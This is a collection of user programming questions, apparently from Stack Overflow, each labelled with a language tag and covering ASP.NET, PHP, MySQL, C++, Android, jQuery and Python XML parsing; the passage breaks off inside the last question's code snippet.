preventing page from being redirected  i was wondering if anyone knew a way to prevent a page from being redirected   i would like to capture an event when the page is leaving  then run some code behind.  if the code behind meets certain criteria  then allow the redirect  otherwise cancel it.  i know some of this can be accomplished with javacript but the problem i have is actually stopping the redirect.  here s what i have:    javascript:   <pre><code>&lt;script type= text/javascript &gt;    window.onbeforeunload = confirmexit;     function clickbutton(getid) {             var getbtn = document.getelementbyid(getid)             getbtn.click()         }      function confirmexit(e) {        var btnid = document.getelementbyid( &lt;%=btnconfirmexit.clientid %&gt; ).id        clickbutton(btnid)     }  &lt;/script&gt;   </code></pre>   code behind:   <pre><code>protected sub btnconfirmexit_click(byval sender as object  byval e as eventargs) handles btnconfirmexit.click      if something  cancel request       else        let it go end sub </code></pre>   if tried using:   <pre><code>page.response.end() </code></pre>   but this does nothing.  anyone have any ideas     thanks,asp.net
difference between | and || in php  i have simple code   <pre><code>$value = 5; $string =  abc ;  var_dump(($value &gt; 0) || (strlen($string) == 2)); var_dump(($value &gt; 0) | (strlen($string) == 2)); </code></pre>   only what is changed is type of returned value (first is <code>boolean</code>  second <code>int</code>). there is another difference between <code>|</code> and <code>||</code>  can i change one to another     live test: <a href= http://sandbox.onlinephpfunctions.com/code/548ab723cbd156be70a596978427fbd73ce4639f  rel= nofollow >http://sandbox.onlinephpfunctions.com/code/548ab723cbd156be70a596978427fbd73ce4639f</a>,php
ruby on rails: can anyone identify what would possibly cause this error when running a rake   does anyone have any idea what would cause this error when running a rake :    dlopen(/users/someone/.rvm/gems/ruby-1.9.3-p125@gaggleup/gems/linecache19-0.5.13-x86_64-darwin-11/lib/trace_nums19.bundle  9): library not loaded: /volumes/users/barry/.rvm/rubies/ruby-1.9.3-p125/lib/libruby.1.9.1.dylib   referenced from: /users/someone/.rvm/gems/ruby-1.9.3-p125@gaggleup/gems/linecache19-0.5.13-x86_64-darwin-11/lib/trace_nums19.bundle   reason: image not found - /users/someone/.rvm/gems/ruby-1.9.3-p125@gaggleup/gems/linecache19-0.5.13-x86_64-darwin-11/lib/trace_nums19.bundle,ruby-on-rails
mfmailcomposeviewcontroller file attachment name with foreign characters  i have searched far and wide and was surprised nothing like this came up. i am trying to send an audio file email attachment (using mfmailcomposeviewcontroller) that has chinese/kanji characters in the file name. the weird thing is when i use a particular character in the file name  it becomes a long strand of weird characters when i receive the email.    with a file name like  平成23年.m4a   the name of the attachment when i receive the email becomes something like  平成23� /%1b%28b8%1b%24b7n%1b%28b25%1b%24...   it is the character  年  that is causing this. if i delete that character  everything is fine. there might be another chinese/kanji character out there that might cause the same problem  but i have no idea how to even begin to fix this...i ve been pulling my hair out so hopefully someone can help me with this...    also a similar problem is that with certain email providers (works fine for gmail  yahoo  but not for something like gmboy.com)  if i have japanese characters in the file name  they fail to show up and gets replaced by an underscore sign. (e.g. testテスト.m4a turns into  test_.m4a) i feel that this may be related to the problem above.    here s my code...   <pre><code>/* set up the mail compose view and put in the body/attachment */ mfmailcomposeviewcontroller *mailcomposer = [[[mfmailcomposeviewcontroller alloc] init] autorelease];  nsmutabledictionary *dict = [[self itemstosend] objectatindex:0]; nsstring *path = [dict objectforkey:@ exportfileaddress ]; nsdata *mydata = [nsdata datawithcontentsoffile:path]; nsstring *filename = @ 平成23年.m4a ; [mailcomposer addattachmentdata:mydata mimetype:@ audio/m4a  filename:filename];   [mailcomposer setmessagebody:@ test email  ishtml:yes];  /* set default subject */ [mailcomposer setsubject:@ email subject ];  mailcomposer.mailcomposedelegate = self;         [self presentmodalviewcontroller:mailcomposer animated:yes]; </code></pre>   the file attachment name will show up just fine when the mfmailcomposeviewcontroller view comes up  but somehow during the sending process  the name got screwed up.    any help will be greatly appreciated!,iphone
why was/is null used in c++   the c++ standard defines the null pointer to be <code>0</code>. in a lot of code i ve seen the <code>null</code> macro used however.    why is it so  if the standard defines <code>null</code> to be <code>0</code> anyway  why use a special constant for it     is it just an aesthetic choice  or is there a more practical reason for it  or was there a reason in the past that is no longer valid  i.e. holdovers from older drafts of the c++ standard     how and why did <code>null</code> begin to be used instead of <code>0</code>,c++
add a new string in between existing string  i have read the content of html into string  now i need to add a new attribute inside the body tag  i was thinking of using stringbuilder for this. but i am unable to frame the logic. any help would be really appreciated.    existing html   <pre><code>&lt;body class= temporaryrevision &gt; </code></pre>   html that i want to create    <code>&lt;body class= temporaryrevision  bgcolor= #ffffff &gt;</code>,java
did not get cell value in update panel used gridview  my question is i have used an update panel on my page. there is a gridview  in this data bind on the time of a text box. my problem is if i click on the select command field  i should get selected row cell values. but now i get only selected index no values from the specified cell on the selected row. i have get only row index from selected row. i need cell value from the further coding. if anyone know please share your knowledge. i remember you i have used update panel on my page. my need is getting selected row value. i don t care about which event is using..    my code is below:   <pre><code>&lt;asp:gridview id= gridview1  style= margin-left:130px;  runat= server       autogeneratecolumns= false  backcolor= #deba84  bordercolor= #deba84        borderstyle= none  borderwidth= 1px        cellpadding= 3  cellspacing= 2  datakeynames= machid        onselectedindexchanged= gridview1_selectedindexchanged  allowpaging= true        pagesize= 2  onselectedindexchanging= gridview1_selectedindexchanging        onrowdatabound= gridview1_rowdatabound        onrowcommand= gridview1_rowcommand &gt;      &lt;columns&gt;      &lt;asp:templatefield headertext= punch no &gt;       &lt;itemtemplate&gt;         punch &lt;%#container.dataitemindex+1 %&gt;           &lt;/itemtemplate&gt;              &lt;headerstyle horizontalalign= left  /&gt;             &lt;/asp:templatefield&gt;              &lt;%--  &lt;asp:templatefield&gt;               &lt;itemtemplate&gt;               &lt;asp:label id= label2  runat= server  text= punch &gt;&lt;/asp:label&gt;                &lt;/itemtemplate&gt;                &lt;/asp:templatefield&gt;--%&gt;               &lt;asp:boundfield datafield= machid  visible= false  /&gt;               &lt;asp:boundfield datafield= punchtime  headertext= punch time  readonly= true  /&gt;                 &lt;asp:templatefield visible= false &gt;                      &lt;itemtemplate&gt;                        &lt;asp:label id= lblhidden  runat= server  text= &lt;%# eval ( punchtime ) %&gt; &gt;&lt;/asp:label&gt;                  &lt;/itemtemplate&gt;                    &lt;/asp:templatefield&gt;                    &lt;asp:commandfield selecttext= edit  showselectbutton= true  /&gt;                    &lt;asp:templatefield&gt;                     &lt;itemtemplate&gt;                           &lt;asp:button id= btnedit  runat= server  commandname= edit                                onclick= btnedit_click  text= edit  /&gt;                      &lt;/itemtemplate&gt;                        &lt;/asp:templatefield&gt;                      &lt;/columns&gt;                       &lt;footerstyle backcolor= #f7dfb5  forecolor= #8c4510  /&gt;                        &lt;headerstyle backcolor= #a55129  font-bold= true  forecolor= white  /&gt;                         &lt;pagerstyle forecolor= #8c4510  horizontalalign= center  /&gt;                          &lt;rowstyle backcolor= #fff7e7  forecolor= #8c4510  /&gt;                         &lt;selectedrowstyle backcolor= #738a9c  font-bold= true  forecolor= white  /&gt;                        &lt;sortedascendingcellstyle backcolor= #fff1d4  /&gt;                         &lt;sortedascendingheaderstyle backcolor= #b95c30  /&gt;                         &lt;sorteddescendingcellstyle backcolor= #f1e5ce  /&gt;                         &lt;sorteddescendingheaderstyle backcolor= #93451f  /&gt;                        &lt;/asp:gridview&gt;            &lt;/td&gt; </code></pre>   my code here:   <pre><code>protected void gridview1_selectedindexchanging(object sender  gridviewselecteventargs e)     {          //e.newselectedindex         int i = e.newselectedindex;         string data = gridview1.rows[i].cells[0].text;                if (data !=   )         {              txtpunchin.text = data.tostring();         }     } </code></pre>,c#
css buttons and states  can you apply <code>:hover</code> and <code>:active</code> attributes to <code>input[type=button]</code>  or do you have to use a class,css
mysql update set join and user join  hi i need help with this judgment mysql   <pre><code>update   table1 set   table1.campo1=  1  from   table1 inner join   tabala2 on tabale1.campo2 = table2.campo1 where   table1.campo3 = table2.campo2 </code></pre>,mysql
mysql  show results with a timediff on more then 2 min  i like to only show result with timediff on more then 2 min    table:   <pre><code>dt                   session_id 2016-11-15 11:25:00  1 2016-11-15 11:21:04  1 2016-11-15 11:20:00  1 2016-11-15 09:37:00  2 2016-11-15 09:27:00  2 2016-11-14 21:37:00  3 2016-11-14 21:33:35  3 2016-11-14 21:31:00  3 2016-11-14 16:05:00  4 2016-11-14 16:04:35  4 2016-11-14 10:31:25  5 2016-11-14 10:31:00  5 </code></pre>   my query:   <pre><code>select       min(dt) start      max(dt) end      timediff(max(dt) min(dt)) as sessiontime   from table where sessiontime &gt;  00:02:00  group by session_id </code></pre>   this query do not giv any results.     this is how i like the results:   <pre><code>start                 end                   sessiontime 2016-11-15 11:20:00   2016-11-15 11:25:00   00:05:00 2016-11-15 09:27:00   2016-11-15 09:37:00   00:10:00 2016-11-14 21:31:00   2016-11-14 21:37:00   00:06:00 </code></pre>,mysql
ostream causing issue with file i/o  i omitted much of my code and much of my original input file just to make it easier and simpler to read  and to focus on one specific problem.    each time i try and compile this code:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;cstdlib&gt;  using namespace std;  void readexpression(ostream &amp;fin  double operand1  char oepratr  double operand2);  int main() {     double operand1             operand2;      char operatr;      ifstream fin;     fin.open( inp.txt );      readexpression(fin  operand1  operatr  operand2);      fin.close();      return 0; }  void readexpression(ostream &amp;fin  double operand1  char operatr  double operand2) {     cin &gt;&gt; operand1 &gt;&gt; operatr &gt;&gt; operand2; } </code></pre>   this is the input file:   <pre><code>2.0 + 2.0 </code></pre>   i always get the error that i have   <pre><code>error: invalid initialization of reference of type  std::ostream&amp; {aka std::basic_ostream&lt;char&gt;&amp;}  from expression of type  std::ifstream {aka std::basic_ifstream&lt;char&gt;} | </code></pre>   i m not sure what i m doing wrong. i ve been at this for hours and still haven t found a solution  after countless hours of researching. i am fairly new to cpp and only have experience in other language  which is why i am struggling with what seems like an elementary concept. any help is greatly appreciated.,c++
addjavascriptinterface : object method not found  i wrote new example similar to webview demo and registered my java object with addjavascriptinterface() to webview. and in java script i am able to call java methods.     later  i modified android browser code and tried to add object to javascript in a same way. but object members are not accessible in javascript and i get runtime error like      uncaught typeerror: object com.android.browser.browseractivity$myjavascriptinterface@43bf7eb8 has no method  launchplayer       where as launchplayer method is available in myjavascriptinterface class.    can anybody tell me what is the difference in browser app  which stops exporting methods to javascript.,android
errors in the example (asynctask)  i make an example from <a href= http://appfulcrum.com/2011/09/21/listview-example-5-using-sqlite-database/  rel= nofollow >http://appfulcrum.com/2011/09/21/listview-example-5-using-sqlite-database/</a> there is a bug in the code    <pre><code>package com.appfulcrum.blog.examples.listviewcustomdb;  import android.app.listactivity; import android.database.cursor; import android.database.sqlexception; import android.os.asynctask; import android.os.bundle; import android.view.view; import android.view.view.onclicklistener; import android.widget.button; import android.widget.listview; import android.widget.toast;  public class customlistviewdb extends listactivity {  private listview mainlistview = null; customsqlcursoradapter adapter = null; private sqlhelper dbhelper = null; private cursor currentcursor = null;  private listview listview = null;  /** called when the activity is first created. */ @override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.simple);      if (this.dbhelper == null) {         this.dbhelper = new sqlhelper(this);      }      listview = getlistview();     listview.setitemscanfocus(false);     listview.setchoicemode(listview.choice_mode_multiple);      button btnclear = (button) findviewbyid(r.id.btnclear);     btnclear.setonclicklistener(new onclicklistener() {          public void onclick(view v) {              toast.maketext(getapplicationcontext()                        you clicked clear button   toast.length_short).show();             cleardbselections();          }     });      new selectdatatask().execute();      this.mainlistview = getlistview();      mainlistview.setcachecolorhint(0);  }  @override protected void onrestart() {     super.onrestart();     new selectdatatask().execute(); }  @override protected void onpause() {      super.onpause();     this.dbhelper.close(); }  protected void cleardbselections() {      this.adapter.clearselections();  }  private class selectdatatask extends asynctask&lt;string  void =   string=  &gt; {      protected void onpreexecute() {         // this.dialog.setmessage( getting names... );         // this.dialog.show();     }      protected string doinbackground(final string... args) {          try {              customlistviewdb.this.dbhelper.createdatabase();             customlistviewdb.this.dbhelper.opendatabase();              customlistviewdb.this.currentcursor = customlistviewdb.this.dbhelper                     .getcursor();          } catch (sqlexception sqle) {              throw sqle;          }         return null;     }      // can use ui thread here     protected void onpostexecute(final string result) {          startmanagingcursor(customlistviewdb.this.currentcursor);         int[] listfields = new int[] { r.id.txttitle };         string[] dbcolumns = new string[] { sqlhelper.column_title };          customlistviewdb.this.adapter = new customsqlcursoradapter(                 customlistviewdb.this  r.layout.single_item                  customlistviewdb.this.currentcursor  dbcolumns  listfields                  customlistviewdb.this.dbhelper);         setlistadapter(customlistviewdb.this.adapter);      } }  } </code></pre>   error in line    <pre><code>private class selectdatatask extends asynctask&lt;string  void =   string=  &gt; { </code></pre>   how to write this line without error  and eclipse still swears by the line   <pre><code>new selectdatatask().execute(); </code></pre>   writes  the method execute() is undefined for the type customlistviewdb.selectdatatask,android
mysql query from different tables based on a field of a table  i think the title is a bit vague. i ll explain below. so i have these tables    <blockquote>    appointments table  </blockquote>  <pre><code>id  created_by  created_by_id --------------------------- 1   provider        10 2   customer        5 3   admin           1 </code></pre>  <blockquote>    providers table  </blockquote>  <pre><code>id first_name last_name ------------------------ ..    ...       ... 10     x         y </code></pre>  <blockquote>    customers table  </blockquote>  <pre><code>id  first_name  last_name ------------------------- ..     ...       ... 5       a         b </code></pre>  <blockquote>    admins table  </blockquote>  <pre><code>id  first_name  last_name -------------------------- ..    ...          ... 1      c            d </code></pre>   i want to query and return full name of the relevant account based on created_by field  so if it is provider  it query the name in provider table  and so on.    i have tried this   <pre><code>select  *          (             select                  case                      when appointments.created_by= provider  then                          concat(d.first_name       d.last_name)                     when appointments.created_by= customer  then                          concat(p.first_name       p.last_name)                     else concat(p.first_name       p.last_name)                 end             from providers as d  customers as p             where                  appointments.created_by_id = (case                      when appointments.created_by= provider  then                          d.id                     when appointments.created_by= customer  then                          p.id                     else p.id                 end)         ) from appointments </code></pre>   but it doesn t seem to work. could you please help me to achieve a table like this   <pre><code>id  created_by  name ------------------- 1    provider   x y 2    customer   a b 3     admin     c d </code></pre>,mysql
keep the mouse over color on mouse out  i am actually changing the color of link &amp; its background on mouse over. when i move the cursor  to sub menu item the text of parent menu revert back to white. i did try to use a:active to resolve this issue but no luck.    please check the main navigation on this site <a href= http://kushian.com  rel= nofollow >http://kushian.com</a>    for css <a href= http://kushian.com/catalog/view/theme/red15/stylesheet/stylesheet.css  rel= nofollow >http://kushian.com/catalog/view/theme/red15/stylesheet/stylesheet.css</a>,css
will extra lines in js can affect efficiency  all:    i am new to javascript  one question is:    if i add a lot of blank line to  javascript file(to separate logical code block)   will those lines affect the efficiency of execution (like v8 will take more time to run it)     thanks,javascript
getting leak at stringbytrimmingcharactersinset:[nscharacterset whitespaceandnewlinecharacterset]  i am getting leak at below code:    search.h   <pre><code>nsstring *str; </code></pre>   search.m   <pre><code>-(void)searchmethod:(uisearchbar *)asearchbar {      /*******showing leak at below line *************/      str=[asearchbar.text stringbytrimmingcharactersinset:                    [nscharacterset whitespaceandnewlinecharacterset]];  } </code></pre>   i am not getting how to solve this can any one help me to solve this.    thanks in advance.,objective-c
proper use of having in sql  i m not entirely sure i m understanding the constraints of using  having . down below  i m accessing the stack overflow database to see the most downvoted posts in 2015  but am having trouble extracting the year.   <pre><code>select   title  body  score from   posts order by   score having   extract(year from creationdate) = 2015 ; </code></pre>,sql
is there any way to write ng-class directive in more compact way  i have many tags in html with <code>ng-class</code> directive which looks like:   <pre><code>div(class= item-detail-section-line   ng-repeat= group in fieldgroups )    a(href=    ng-click= groupclick(group)                 ng-class= group == currentgroup    item-detail-section-line-selected  :   +                 item-detail-section-line-unselected   </code></pre>   i am just wondering if there is any way to write ng-class directive in more compact way   may be move the condition to controller,angularjs
how we can have toolkitscriptmanager & scriptmanager both in master page  before i was using scriptmanager in the master page. and when i was running main page i had not any problem.    now i have decided to add combo box to main page   so i should add toolkitscriptmanager to the master page.    because of error   i removed scriptmanager of the master page but now my main page has completely post back and slow  how i can have both of them in the master page without error.   <pre><code>  &lt;asp:updatepanel id= updatepanel1  runat= server &gt;   &lt;contenttemplate&gt;  &lt;asp:dropdownlist id= ddlprojectdocument  runat= server  height= 16px  appenddatabounditems= true       width= 212px  onselectedindexchanged= ddlprojectdocument_selectedindexchanged      autopostback= true  onload= ddlprojectdocument_load      style= font-family:  courier new   courier  monospace  &gt;      &lt;asp:listitem selected= true  value= 0 &gt;(select a value)&lt;/asp:listitem&gt; &lt;/asp:dropdownlist&gt; &lt;br /&gt;  &lt;ajaxtoolkit:combobox id= combobox1  runat= server  onload= combobox1_load       autocompletemode= suggest       style= font-family:  courier new   courier  monospace  &gt;  &lt;/ajaxtoolkit:combobox&gt;  &lt;/contenttemplate&gt; &lt;triggers&gt; &lt;asp:postbacktrigger controlid= ddlprojectdocument   /&gt;   &lt;/triggers&gt; &lt;/asp:updatepanel&gt; </code></pre>   master page:   <pre><code> &lt;%@ master language= c#  autoeventwireup= true  codefile= masteradmin.master.cs  inherits= masteradmin  %&gt;    &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;     &lt;html xmlns= http://www.w3.org/1999/xhtml &gt;   &lt;head runat= server &gt; &lt;title&gt;untitled page&lt;/title&gt; &lt;asp:contentplaceholder id= head  runat= server &gt; &lt;/asp:contentplaceholder&gt; &lt;style type= text/css &gt;     .style1     {         width: 40%;         font-size:large;     } &lt;/style&gt; &lt;link href= stylesheet.css  rel= stylesheet  type= text/css  /&gt;    &lt;/head&gt;   &lt;body&gt;  &lt;form id= form1  runat= server &gt;       &lt;ajaxtoolkit:toolkitscriptmanager id= toolkitscriptmanager1  runat= server &gt;     &lt;/ajaxtoolkit:toolkitscriptmanager&gt; </code></pre>,asp.net
how to create variables for multiple classes objective-c   i have a load of variables that i want to be accessed from multiple classes in objective-c.    for example i have a list of colours. ideally i would just have a <code>colours.h</code> file and do something like this:   <pre><code>@interface colours : nsobject @property (readonly) nscolor* black = [nscolor colorwithred:0.13 green:0.13 blue:0.13 alpha:1.0]; @property (readonly) nscolor* white = [nscolor colorwithred:1.00 green:1.00 blue:1.00 alpha:1.0]; @property (readonly) nscolor* red = [nscolor colorwithred:0.74 green:0.13 blue:0.13 alpha:1.0]; @property (readonly) nscolor* grey = [nscolor colorwithred:0.43 green:0.43 blue:0.43 alpha:1.0]; @property (readonly) nscolor* boarder = [nscolor colorwithred:0.92 green:0.91 blue:0.91 alpha:1.0]; @property (readonly) nscolor* offwhite = [nscolor colorwithred:0.96 green:0.96 blue:0.96 alpha:1.0]; @end </code></pre>   and then import the <code>colours.h</code> in each of my classes and call <code>colours.boarder</code> but this is not possible.     so should i do something like this with a <code>.m</code>    <pre><code>#import  colours.h   @implementation colours -(id)init{     _black = [nscolor colorwithred:0.13 green:0.13 blue:0.13 alpha:1.0];     _white = [nscolor colorwithred:1.00 green:1.00 blue:1.00 alpha:1.0];     _red = [nscolor colorwithred:0.74 green:0.13 blue:0.13 alpha:1.0];     _grey = [nscolor colorwithred:0.43 green:0.43 blue:0.43 alpha:1.0];     _boarder = [nscolor colorwithred:0.92 green:0.91 blue:0.91 alpha:1.0];     _offwhite = [nscolor colorwithred:0.96 green:0.96 blue:0.96 alpha:1.0]; } @end </code></pre>   this seems a little overkill as i would then need to <code>init</code> the class     i am also worried that i have class a which imports class b and b imports class c and all three classes need the colours. is it bad to use the same <code>#import</code> for each class or is there a more efficient way to do this    <hr>  <h1>another technique </h1>   <code>.h</code>   <pre><code>#import &lt;cocoa/cocoa.h&gt; @interface colours: nsobject +(nscolor *)black; +(nscolor *)white; +(nscolor *)red; +(nscolor *)grey; +(nscolor *)boarder; +(nscolor *)offwhite; @end </code></pre>   <code>.m</code>   <pre><code>@implementation colours +(nscolor *)black{     return [nscolor colorwithred:0.13 green:0.13 blue:0.13 alpha:1.0]; }  +(nscolor *)white{     return [nscolor colorwithred:1.00 green:1.00 blue:1.00 alpha:1.0]; }  +(nscolor *)red{     return [nscolor colorwithred:0.74 green:0.13 blue:0.13 alpha:1.0]; }  +(nscolor *)grey{     return [nscolor colorwithred:0.43 green:0.43 blue:0.43 alpha:1.0]; }  +(nscolor *)boarder{     return [nscolor colorwithred:0.92 green:0.91 blue:0.91 alpha:1.0]; }  +(nscolor *)offwhite{     return [nscolor colorwithred:0.96 green:0.96 blue:0.96 alpha:1.0]; } @end </code></pre>,objective-c
how to collect ids  how can i collect the ids of clicked spans using jquery     what i ve tried   <pre><code>    $( .move-up ).click(function(){         if ($(this).prev())             $(this).parent().insertbefore($(this).parent().prev());     });     $( .move-down ).click(function(){         if ($(this).next())             $(this).parent().insertafter($(this).parent().next());     });  var ids $( span[id^= text_ ] ).click(function() {     $(this).toggleclass( highlight );     ids += $( span[id^= text_ ] );     alert(ids); }); </code></pre>   <a href= http://jsfiddle.net/7w7jz/13/  rel= nofollow >http://jsfiddle.net/7w7jz/13/</a>,jquery
opensource .net library for connecting to sftp server   is there a good library out there to connect to a sftp server and save/load file to/from there  i tried google  but there is so much so i thought id ask for recommendations. it will be used in a web app...    thanks :-),.net
always a winner with php hangman  i am getting an error with this php implementation of hangman using the exact same <a href= http://www.hangman.symbolwebdesign.nl/sourcecode.php lang=php  rel= nofollow >source code from symbolwebdesign s hangman</a>.     when i put <a href= http://www.littlehousegardening.com/hangman/hangmanfinal.php  rel= nofollow >the script on my server</a> and try to play the game  it just keeps saying  you win!  when i enter just one letter.      i am using a text file called words.     here s the code being used:       <pre><code>// the following function returns a word of dots  each dot represents a letter  function word2dots($word) { $wordlength = strlen($word); $dotword =   ; for ($i = 0; $i &lt; $wordlength; $i++) { $dotword =   .$dotword. . ; } return $dotword; }  // the following function opens the file  reads it  saves it into an array and returns a random word  function getword() {  // opening and reading file  $filename =  words.txt ; // you can change this into whatever words file you d like  as long as it s local.  @$filehandle = fopen($filename  r ); @$filecontent = fread($filehandle filesize($filename)); @fclose($filehandle);  if (!$filehandle) { $_session[ message ] =  could not open  .$filename; }  // splitting the content into the $words array  $words = split( \|   $filecontent); $words_amount = count($words);  // calculating random number  $random_number = mt_rand(0 $words_amount);  // returning random word $theword2 = $words[$random_number];  return $theword2; }  // resetting the message  $_session[ message ] =   ;  // retrieving the guessword  theword and the amount of errors.  if (isset($_post[ send_letter ]) &amp;&amp; $_session[ gameended ] != true) { if (isset($_post[ hangmanletter ]) &amp;&amp; preg_match( /[a-z\s_]/i   $_post[ hangmanletter ]) &gt; 0) {  // getting the $letter value  $letter = htmlentities(stripslashes($_post[ hangmanletter ]));  // retrieving session variables  $theword = $_session[ theword ]; $guessword = $_session[ guessword ]; $error_amount = $_session[ error_amount ];  // checking wether the $letter occurs in the word  // filling the arrays:  for ($d = 0; $d &lt; strlen($theword); $d++) { $thewordarray[$d] = substr($theword  $d  1); $guesswordarray[$d] = substr($guessword  $d  1); }  // checking occurance of the letter in theword  $letteroccured = false; for ($f = 0; $f &lt; strlen($theword); $f++) { if ($thewordarray[$f] == $letter) { $letteroccured = true; $guesswordarray[$f] = $thewordarray[$f]; } }  // updating the guessword:  $guessword =   ; for ($r = 0; $r &lt; strlen($theword); $r++) { $guessword =   .$guessword.  .$guesswordarray[$r].  ; }  $_session[ guessword ] = $guessword;  if ($_session[ guessword ] == $_session[ theword ]) { $_session[ message ] =  you won! &lt;input type= submit  name= reset  value= try again   /&gt; ; unset($_session[ theword ]); unset($_session[ guessword ]); $_session[ gameended ] = true; $_session[ guessword ] = $theword; }  if ($letteroccured == false) { $error_amount++; $_session[ error_amount ] = $error_amount;  // if the error_amount is higher as 9  the player lost  if ($error_amount &gt; 9) { $_session[ message ] =  you lost! &lt;input type= submit  name= reset  value= try again   /&gt; ; unset($_session[ theword ]); unset($_session[ guessword ]); $_session[ gameended ] = true; $_session[ guessword ] = $theword; } }  } else {  // showing the message  if (preg_match( /[a-z\s_]/i   $_post[ letter ]) &lt; 0) {  $_session[ message ] =  only alphanumeric symbols are allowed! ;  } else {  $_session[ message ] =  enter a letter! ;  } // end of else isaplha ($_post[ hangmanletter ]) } // end of else isset($_post[ hangmanletter ]) and preg_match( /[a-z\s_]/i   $_post[ hangmanletter ])  } else { // if the game has been resetted or there has not yet been a game played  $theword = getword(); $guessword = word2dots($theword); $error_amount = 0; $_session[ theword ] = $theword; $_session[ guessword ] = $guessword; $_session[ error_amount ] = $error_amount; $_session[ gameended ] = false; }  &gt; &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml  xml:lang= en  lang= en &gt; &lt;head&gt; &lt;link rel= stylesheet  href= style1.css  type= text/css  /&gt; &lt;meta http-equiv= content-type  content= text/html; charset=iso-8859-1  /&gt; &lt;title&gt;hangman&lt;/title&gt; &lt;/head&gt; &lt;body onload= document.getelementbyid( hangmaninput ).focus() &gt; &lt;div style= background-color:#efefef;position:relative; top:0px; left:0px; border:2px ridge #bbbbbb; width:200px; height:280px; font-family:times new roman; font-weight:normal; font-style:normal; text-decoration:none; &gt;  &lt;form action=   method= post  onsubmit= return true; &gt;   &lt;div id= hangmantitle  style= font-size:22px; position:absolute; top:5px; width:200px; text-align:center; &gt;    hangman   &lt;/div&gt;   &lt;div id= hangmanconsole  style= font-size:16px; position:absolute; top:34px; text-align:center; width:200px; &gt;    enter a letter: &lt;input type= text  maxlength= 1  size= 1  id= hangmaninput  name= hangmanletter  /&gt;&lt;input type= hidden  value= true  name= send_letter  /&gt;&lt;input type= submit  value= go  name= send_letter_button  /&gt;&lt;br /&gt;    the word: &lt;span id= hangmanguessword &gt;&lt; php echo $_session[ guessword ];  &gt;&lt;/span&gt;&lt;br /&gt;   &lt;/div&gt;   &lt;div id= hangmanimage  style= position:absolute; top:85px; left:22px; &gt;    &lt;img src= http://www.hangman.symbolwebdesign.nl/hmimgs/hm&lt; php echo $_session[ error_amount ];  &gt;.bmp  id= hangmanimg  style= border:1px ridge #bbbbbb;  /&gt;   &lt;/div&gt;   &lt;div id= hangmanmessage  style= font-size:16px; position:absolute; top:250px; width:200px; text-align:center; &gt;    &lt; php echo $_session[ message ];  &gt;   &lt;/div&gt;  &lt;/form&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   any help would be much appreciated in figuring out why it doesn t work and why the game always ends at one letter.,php
difference between class methods and instance methods   i always confusing to when i used of instance method and class method in programming. please tell me difference between instance method and class methods and advantages of one another.,objective-c
parsing xml file in python2.7  i know this is a very common question  but the kind of xml file and the kind of extraction of data i need is a little unique due to the nature of the xml file. so appreciate any help on the steps to extract the required data  with <code>pyhton2.7</code>     i have the below xml    <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;package xmlns= http://soap.sforce.com/2006/04/metadata &gt;     &lt;types&gt;         &lt;members&gt;mango.xyz_dig_team_abcdef_mango_review&lt;/members&gt;         &lt;members&gt;mango.xyz_dig_team_reporting_mango_review&lt;/members&gt;         &lt;members&gt;opportunity.a_t_occupier_city_job_list&lt;/members&gt;         &lt;name&gt;listview&lt;/name&gt;     &lt;/types&gt;     &lt;types&gt;         &lt;members&gt;modify_all_data_permission&lt;/members&gt;         &lt;members&gt;opportunity_alerts_implementation&lt;/members&gt;         &lt;members&gt;process_builder_permission&lt;/members&gt;         &lt;members&gt;regional_business_support&lt;/members&gt;         &lt;members&gt;reports_dashboards_data_export_for_super_users&lt;/members&gt;         &lt;name&gt;permissionset&lt;/name&gt;     &lt;/types&gt;     &lt;types&gt;         &lt;members&gt;solutionmanager&lt;/members&gt;         &lt;members&gt;standard&lt;/members&gt;         &lt;name&gt;profile&lt;/name&gt;     &lt;/types&gt;      &lt;types&gt;         &lt;members&gt;mango.set verified date and system id&lt;/members&gt;         &lt;members&gt;mango.update mango site with billing street%2c city%2c country&lt;/members&gt;         &lt;members&gt;mango.update family id on mango when created&lt;/members&gt;         &lt;members&gt;opportunity.set opportunity name&lt;/members&gt;         &lt;name&gt;workflowrule&lt;/name&gt;     &lt;/types&gt;     &lt;version&gt;38.0&lt;/version&gt; &lt;/package&gt; </code></pre>   i am trying to extract only the <code>members</code> from the <code>permissionset</code> block. so that eventually i will have a file  that only have the entries like   <pre><code>    modify_all_data_permission     opportunity_alerts_implementation     process_builder_permission     regional_business_support     reports_dashboards_data_export_for_super_users </code></pre>   i have been able to extract only the  name  tag by    <pre><code>from xml.dom import minidom  doc = minidom.parse( path_to_xmlfile )   t = doc.getelementsbytagname( types ) for n in t:     name = n.getelementsbytagname( name )[0]     print name.firstchild.data </code></pre>   how can i extract the members and save that to a file      note: the number of  members  are not fixed they varies.  i can also try with a different library  if it serves the  purpose.,python
"click btn toggleclass and change text with jquery  im working on some contentblocks which need to toggle when i click a button. it does the work right now but however the text wont change on my button when its focused or active and the content is toggled. see my code below (also it says uncaught syntax error: unexpected identifier).    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$( .mobile-tab ).click(function() {
   $(this).parent().children( .content ).toggleclass( open   function() {
     if ($(this).parent().children( .content ).hasclass( open )) {
       $(this).parent().children( .mobile-tab ).children( .symbol ).text( sluiten - );
     } else {
       $(this).removeclass( open ).parent().children( .mobile-tab ).children( .symbol ).text( lees meer + );
     }
 
   });
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;div class= entity entity-field-collection-item field-collection-item-field-tabs clearfix  about= /field-collection/field-tabs/15  typeof=  &gt;
  
 
 &lt;div class= title &gt;
   &lt;div class= field field-name-field-titel-event field-type-text field-label-hidden &gt;&lt;div class= field-items &gt;&lt;div class= field-item even &gt;programma&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;  &lt;/div&gt;
